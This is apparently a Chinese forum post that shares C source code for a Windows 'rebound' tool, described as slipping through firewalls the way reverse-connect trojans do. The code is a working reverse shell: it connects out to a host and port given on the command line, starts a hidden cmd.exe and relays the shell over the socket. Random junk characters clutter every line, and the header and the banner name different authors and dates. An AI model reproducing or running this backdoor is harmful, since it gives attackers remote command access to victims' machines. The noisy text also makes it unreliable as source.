这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3RigzT3
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/* ============================== +UC G0D
Rebound port in Windows NT '<gI8W</
By wind,2006/7 raW>xOivR
===============================*/ g!|=%(G=
#include k
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#include ^dI424
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#pragma comment(lib,"wsock32.lib") ! :Y:pu0
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void OutputShell(); ;
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SOCKET sClient; LHyB3V
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; G?9"Y%
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void main(int argc,char **argv) zZ:>do\2
{ q?Cnav`DY
WSADATA stWsaData; gK+4C
int nRet; @Y?#Sl*
SOCKADDR_IN stSaiClient,stSaiServer; R1s`z|?
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if(argc != 3) x/%aM1"X^
{ 1]d!~
printf("Useage:\n\rRebound DestIP DestPort\n"); ru'F6?d
return; 9-sw!tKx
} gx-2v|pZ
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WSAStartup(MAKEWORD(2,2),&stWsaData); 2d>z1%'
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Oylf<&knF\
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stSaiClient.sin_family = AF_INET; u6J8"<
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stSaiClient.sin_port = htons(0); c\/=iVw,
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <c*FCblv
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?(xnSW@r
{ y3vdUauOn
printf("Bind Socket Failed!\n"); dR
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return; bes<qy
} J.3u^~zy
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stSaiServer.sin_family = AF_INET; bs+f,j-oBN
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); S};#+ufgTt
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); SbcS]H5Sk
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !d'GE`w T
{ D,FHZDt
printf("Connect Error!"); *$#W]bO
return; }?lrU.@zg
} sm9k/(-
OutputShell(); _qU4Fadgm
} 9/9j+5}+
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void OutputShell() sXqz+z$*
{ YP
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char szBuff[1024]; -<6\1J
SECURITY_ATTRIBUTES stSecurityAttributes; } j<)L,
OSVERSIONINFO stOsversionInfo; QemyCCP+
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; j*d
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STARTUPINFO stStartupInfo; S2E8Gq9
char *szShell; GeI-\F7b
PROCESS_INFORMATION stProcessInformation; Cwr~HY
unsigned long lBytesRead; _ "E$v&_
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); S&e0u%8mc
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); uMUBh 80,L
stSecurityAttributes.lpSecurityDescriptor = 0; 9X[kEl
stSecurityAttributes.bInheritHandle = TRUE; .GbX]?dN
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @efh{
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); "_P;2N6
8<5]\X
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); rW<KKGsRWQ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `Nv=B1
stStartupInfo.wShowWindow = SW_HIDE; w}L]X1#sF
stStartupInfo.hStdInput = hReadPipe; Y2|#V#
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^9m\=5d
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GetVersionEx(&stOsversionInfo); o\BOL3H
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switch(stOsversionInfo.dwPlatformId) :v0U|\j8/V
{ 2uzW+D6J
case 1: j~"Q3P;V
szShell = "command.com"; H-WJp<_
break; :8I9\eet3
default: 9FoHD
szShell = "cmd.exe"; vGvf<ra;H
break; dW_KU}
} j
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #TeG-sFJg@
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send(sClient,szMsg,77,0); B#exHf8
while(1) w2;eh]k
{ ]5mn ew
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }\hVy(\c
if(lBytesRead) x`U^OLV
{ 'g6\CZw(#
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); tG:25 T0
send(sClient,szBuff,lBytesRead,0); .>q8W
} =FlDb
5t{
else H=@}=aPf
{ [I0:=yJ+
lBytesRead=recv(sClient,szBuff,1024,0); C'G/AU
if(lBytesRead<=0) break; 6RG)`bu
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); iyA'#bE-
} VQ"hUX8
} :=}BN
.@2m07*1
return; -]L6=
}